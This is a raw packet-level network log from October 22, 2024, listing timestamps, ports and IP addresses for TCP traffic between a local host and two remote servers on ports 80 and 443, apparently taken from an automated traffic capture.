Oct 22, 2024 19:25:17.151338100 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.151379108 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.151928902 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.151990891 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.151999950 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.152009010 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.152029037 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.152046919 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.152209997 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.152251005 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.152827978 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.152843952 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.152859926 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.152867079 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.152890921 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.152914047 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.153435946 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.153450966 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.153466940 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.153480053 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.153507948 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.153734922 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.153774977 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.154247999 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.154263973 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.154280901 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.154288054 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.154299021 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.154309988 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.154335976 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.155044079 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.155092955 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.155122995 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.155138016 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.155154943 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.155158997 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.155188084 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.155213118 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.155884981 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.155929089 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.155936956 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.155952930 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.155982971 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.155988932 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.156006098 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.156019926 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.156778097 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.156793118 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.156809092 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.156826019 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.156848907 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.156860113 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.156862974 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.156908989 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.157609940 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.157624960 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.157643080 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.157658100 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.157666922 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.157691956 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.157721043 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.158463001 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.158476114 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.158515930 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.158536911 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.248342991 CEST	443	49729	172.67.206.204	192.168.2.8
Oct 22, 2024 19:25:17.248430014 CEST	443	49729	172.67.206.204	192.168.2.8
Oct 22, 2024 19:25:17.248492956 CEST	443	49729	172.67.206.204	192.168.2.8
Oct 22, 2024 19:25:17.248517036 CEST	49729	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:25:17.248554945 CEST	443	49729	172.67.206.204	192.168.2.8
Oct 22, 2024 19:25:17.248616934 CEST	49729	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:25:17.248631001 CEST	443	49729	172.67.206.204	192.168.2.8
Oct 22, 2024 19:25:17.248758078 CEST	443	49729	172.67.206.204	192.168.2.8
Oct 22, 2024 19:25:17.248819113 CEST	49729	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:25:17.248931885 CEST	49729	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:25:17.248971939 CEST	443	49729	172.67.206.204	192.168.2.8
Oct 22, 2024 19:25:17.249000072 CEST	49729	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:25:17.249016047 CEST	443	49729	172.67.206.204	192.168.2.8
Oct 22, 2024 19:25:17.267819881 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.267849922 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.267863989 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.267890930 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.267895937 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.267905951 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.267925024 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.267935038 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.267942905 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.267957926 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.267991066 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.268024921 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.302745104 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.302788973 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.302803040 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.302829027 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.302828074 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.302845955 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.302862883 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.302901983 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.302901983 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.302901983 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.302947044 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.303061962 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.303077936 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.303093910 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.303107023 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.303143978 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.303144932 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.303189039 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.303229094 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.303303003 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.303339958 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.303350925 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.303384066 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.303435087 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.303450108 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.303466082 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.303483009 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.303483009 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.303510904 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.303539991 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.303668976 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.303684950 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.303711891 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.303713083 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.303728104 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.303745031 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.303754091 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.303761959 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.303775072 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.303824902 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.304090023 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.304116964 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.304138899 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.304141998 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.304169893 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.304200888 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.304354906 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.304369926 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.304387093 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.304400921 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.304416895 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.304431915 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.304431915 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.304433107 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.304436922 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.304457903 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.304461956 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.304477930 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.304491997 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.304495096 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.304511070 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.304522991 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.304529905 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.304546118 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.304555893 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.304575920 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.304608107 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.305192947 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.305218935 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.305236101 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.305237055 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.305274963 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.305294037 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.305299997 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.305315971 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.305331945 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.305341959 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.305349112 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.305375099 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.305394888 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.305407047 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.305409908 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.305419922 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.305428028 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.305444956 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.305454016 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.305490971 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.306137085 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.306153059 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.306169987 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.306194067 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.306195021 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.306210041 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.306216002 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.306226015 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.306242943 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.306258917 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.306289911 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.306304932 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.306308985 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.306319952 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.306339025 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.306355000 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.306356907 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.306375027 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.306394100 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.306442022 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.307125092 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.307147980 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.307164907 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.307179928 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.307179928 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.307195902 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.307212114 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.307224035 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.307256937 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.307271957 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.307272911 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.307287931 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.307302952 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.307302952 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.307327032 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.307337999 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.307344913 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.307380915 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.307400942 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.307976007 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.308022976 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.308669090 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.308716059 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.308763027 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.308778048 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.308804035 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.308804035 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.308819056 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.308835030 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.308836937 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.308851957 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.308861017 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.308868885 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.308883905 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.308895111 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.308916092 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.308944941 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.385009050 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.385044098 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.385061979 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.385073900 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.385078907 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.385097027 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.385107040 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.385107040 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.385113955 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.385133028 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.385133982 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.385152102 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.385170937 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.385171890 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.385186911 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.385194063 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.385205030 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.385229111 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.385257006 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.388784885 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.388842106 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.455226898 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455254078 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455277920 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455291986 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455307961 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455332041 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455333948 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.455333948 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.455355883 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455368996 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455384016 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455389023 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.455400944 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455404997 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.455434084 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455447912 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.455452919 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455468893 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455476046 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.455476046 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.455486059 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455497026 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.455502033 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455517054 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455522060 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.455542088 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.455543041 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455553055 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455559969 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455565929 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455569029 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455583096 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.455621004 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.455751896 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455790997 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455801964 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.455810070 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455817938 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455825090 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455832005 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455838919 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455842018 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.455846071 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455852985 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455862045 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455863953 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.455873966 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455888033 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455904007 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455909967 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.455923080 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.455938101 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.455957890 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.455986023 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.456847906 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.456862926 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.456882000 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.456907034 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.456909895 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.456923008 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.456940889 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.456948996 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.456979990 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.456983089 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.457001925 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.457005024 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.457010031 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.457026005 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.457027912 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.457051039 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.457089901 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.457158089 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.457174063 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.457190990 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.457206011 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.457237005 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.457242966 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.457252979 CEST	80	49728	185.215.113.16	192.168.2.8
